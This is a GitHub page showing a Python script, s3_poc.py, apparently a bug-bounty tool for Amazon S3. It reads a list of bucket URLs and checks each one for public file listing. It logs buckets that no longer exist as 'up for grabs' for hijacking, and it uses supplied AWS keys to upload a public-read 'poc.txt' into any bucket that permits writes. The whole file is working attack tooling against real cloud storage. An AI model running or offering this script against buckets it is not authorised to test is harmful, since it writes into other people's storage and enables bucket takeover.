-
Notifications
You must be signed in to change notification settings - Fork 28
/
Copy paths3_poc.py
231 lines (182 loc) · 7.28 KB
/
s3_poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
import os
import boto
import boto.s3.connection
from boto.s3.key import Key
import requests
import colorama
from colorama import init, Fore, Back, Style
init(autoreset=True)
fname = "list.txt"
def check_listings (url):
try:
session = requests.Session()
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
response = session.get("http://"+url+"", headers=headers)
if "<ListBucketResult xmlns" in response.content:
write_listable (url)
print ("[*] S3 Bucket Lists Files [*]")
return True
if "Code: NoSuchBucket" in response.content:
write_buckets_upforgrabs (url)
return False
if response.status_code == 403:
return True
except Exception,e:
print (Fore.RED +"[*] Directory Listings ... Access Denied [*]")
#print str(e)
pass
def write_buckets_upforgrabs (url):
text_file = open("buckets-nosuchbucket.txt", "a")
text_file.write("[*] Bucket Up for Grabs http://"+url+" [*]\n")
text_file.close()
print (Fore.GREEN +"[*] Bucket for Hijacking [*]")
def check_upload (bucket,url,region):
try:
conn = boto.s3.connect_to_region(region,
aws_access_key_id = 'YOURKEY',
aws_secret_access_key = 'YOUR ACCESS KEY',
# host = 's3-website-us-east-1.amazonaws.com',
# is_secure=True, # uncomment if you are not using ssl
calling_format = boto.s3.connection.OrdinaryCallingFormat(),
)
bucket = conn.get_bucket(bucket)
key_name = 'poc.txt'
path = '/' #Directory Under which file should get upload
full_key_name = os.path.join(path, key_name)
k = bucket.new_key(full_key_name)
k.set_contents_from_filename(key_name)
hello_key = bucket.get_key('poc.txt')
hello_key.set_canned_acl('public-read')
write_uploadable (url)
except Exception,e:
#print str(e)
print (Fore.RED +"[*] No POC Uploaded... Access Denied [*]")
pass
def write_listable (url):
text_file = open("buckets-list.txt", "a")
text_file.write("[*] File Listings Enabled on: http://"+url+" [*]\n")
text_file.close()
print (Fore.GREEN +"[*] Directory Listings Enabled [*]")
def write_uploadable (url):
text_file = open("buckets-upload.txt", "a")
text_file.write("[*] POC uploaded: http://"+url+"/poc.txt [*]\n")
text_file.close()
print (Fore.GREEN + "[*] POC Uploaded! [*]")
with open(fname) as f:
for line in f:
url = line.replace("\n","")
if 's3-website-us-east-1' in url:
bucket = url.split(".s3-website-us-east-1")
region = "us-east-1"
print (Fore.YELLOW +"[*] Bucket: "+bucket[0]+" [*]")
if check_listings (url) == True:
check_upload (bucket[0],url,region)
if 's3.us-east-2.amazonaws.com' in url:
bucket = url.split(".s3.us-east-2.amazonaws.com")
region = "us-east-2"
print (Fore.YELLOW +"[*] Bucket: "+bucket[0]+" [*]")
if check_listings (url) == True:
check_upload (bucket[0],url,region)
if 's3.amazonaws.com' in url:
bucket = url.split(".s3.amazonaws.com")
region = "us-east-1"
print (Fore.YELLOW +"[*] Bucket: "+bucket[0]+" [*]")
if check_listings (url) == True:
check_upload (bucket[0],url,region)
if 's3.us-west-1.amazonaws.com' in url:
bucket = url.split(".s3.us-west-1.amazonaws.com")
region = "us-west-1"
print (Fore.YELLOW +"[*] Bucket: "+bucket[0]+" [*]")
if check_listings (url) == True:
check_upload (bucket[0],url,region)
if 's3.us-west-2.amazonaws.com' in url:
bucket = url.split(".s3.us-west-2.amazonaws.com")
region = "us-west-2"
print (Fore.YELLOW +"[*] Bucket: "+bucket[0]+" [*]")
if check_listings (url) == True:
check_upload (bucket[0],url,region)
if 's3.ca-central-1.amazonaws.com' in url:
bucket = url.split(".s3.ca-central-1.amazonaws.com")
region = "ca-central-1"
print (Fore.YELLOW +"[*] Bucket: "+bucket[0]+" [*]")
if check_listings (url) == True:
check_upload (bucket[0],url,region)
if 's3.ap-south-1.amazonaws.com' in url:
bucket = url.split(".s3.ap-south-1.amazonaws.com")
region = "ap-southeast-1"
print (Fore.YELLOW +"[*] Bucket: "+bucket[0]+" [*]")
if check_listings (url) == True:
check_upload (bucket[0],url,region)
if 's3.ap-southeast-1.amazonaws.com' in url:
bucket = url.split(".s3.ap-southeast-1.amazonaws.com")
region = "ap-southeast-1"
print (Fore.YELLOW +"[*] Bucket: "+bucket[0]+" [*]")
if check_listings (url) == True:
check_upload (bucket[0],url,region)
if 's3.ap-southeast-2.amazonaws.com' in url:
bucket = url.split(".s3.ap-southeast-2.amazonaws.com")
region = "ap-southeast-2"
print (Fore.YELLOW +"[*] Bucket: "+bucket[0]+" [*]")
if check_listings (url) == True:
check_upload (bucket[0],url,region)
if 's3.ap-northeast-1.amazonaws.com' in url:
bucket = url.split(".s3.ap-northeast-1.amazonaws.com")
region = "ap-northeast-1"
print (Fore.YELLOW +"[*] Bucket: "+bucket[0]+" [*]")
if check_listings (url) == True:
check_upload (bucket[0],url,region)
if 's3.eu-central-1.amazonaws.com' in url:
bucket = url.split(".s3.eu-central-1.amazonaws.com")
region = "eu-central-1"
print (Fore.YELLOW +"[*] Bucket: "+bucket[0]+" [*]")
if check_listings (url) == True:
check_upload (bucket[0],url,region)
if 's3.eu-west-1.amazonaws.com' in url:
bucket = url.split(".s3.eu-west-1.amazonaws.com")
region = "eu-west-1"
print (Fore.YELLOW +"[*] Bucket: "+bucket[0]+" [*]")
if check_listings (url) == True:
check_upload (bucket[0],url,region)
if 's3.eu-west-2.amazonaws.com' in url:
bucket = url.split(".s3.eu-west-2.amazonaws.com")
region = "eu-west-2"
print (Fore.YELLOW +"[*] Bucket: "+bucket[0]+" [*]")
if check_listings (url) == True:
check_upload (bucket[0],url,region)
if 's3.sa-east-1.amazonaws.com' in url:
bucket = url.split(".s3.sa-east-1.amazonaws.com")
region = "sa-east-1"
print (Fore.YELLOW +"[*] Bucket: "+bucket[0]+" [*]")
if check_listings (url) == True:
check_upload (bucket[0],url,region)
if 's3-us-west-2' in url:
bucket = url.split(".s3-us-west-2.amazonaws.com")
region = "us-west-2"
print (Fore.YELLOW +"[*] Bucket: "+bucket[0]+" [*]")
if check_listings (url) == True:
check_upload (bucket[0],url,region)
if 's3-website-ap-northeast' in url:
bucket = url.split(".s3-website-ap-northeast-1.amazonaws.com")
region = "ap-northeast-1"
print (Fore.YELLOW +"[*] Bucket: "+bucket[0]+" [*]")
if check_listings (url) == True:
check_upload (bucket[0],url,region)
if 's3-website-us-west-2' in url:
bucket = url.split(".s3-website-us-west-2.amazonaws.com")
region = "us-west-2"
print (Fore.YELLOW +"[*] Bucket: "+bucket[0]+" [*]")
if check_listings (url) == True:
check_upload (bucket[0],url,region)
if 's3-eu-west-1' in url:
bucket = url.split(".s3-eu-west-1.amazonaws.com")
region = "eu-west-1"
print (Fore.YELLOW +"[*] Bucket: "+bucket[0]+" [*]")
if check_listings (url) == True:
check_upload (bucket[0],url,region)
else:
if 's3.amazonaws.com' in url:
bucket = url
region = "us-east-1"
print (Fore.YELLOW +"[*] Bucket: "+bucket[0]+"[*]")
if check_listings (url) == True:
check_upload (bucket[0],url,region)